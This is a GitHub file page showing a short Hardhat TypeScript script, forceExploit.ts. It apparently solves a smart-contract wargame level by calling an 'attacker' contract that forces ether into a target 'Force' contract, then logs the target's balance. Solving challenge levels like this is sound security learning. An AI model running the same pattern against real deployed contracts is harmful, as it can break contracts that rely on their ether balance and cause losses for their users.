-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathforceExploit.ts
More file actions
29 lines (22 loc) · 793 Bytes
/
forceExploit.ts
File metadata and controls
29 lines (22 loc) · 793 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import { BigNumber } from "ethers"
import { ethers } from "hardhat"
import { FORCE } from "../constants"
import { ForceExploiter } from "../typechain-types"
const forceExploit = async () => {
const accounts = await ethers.getSigners()
const myWallet = accounts[0]
const force = await ethers.getContractAt("Force", FORCE)
const forceExploiter: ForceExploiter = await ethers.getContract("ForceExploiter")
const tx = await forceExploiter.attack(force.address)
await tx.wait(1)
console.log("balance of force contract", await ethers.provider.getBalance(force.address))
}
forceExploit()
.then(() => {
console.log("force exploited successfully")
process.exit(0)
})
.catch((e) => {
console.error(e)
process.exit(1)
})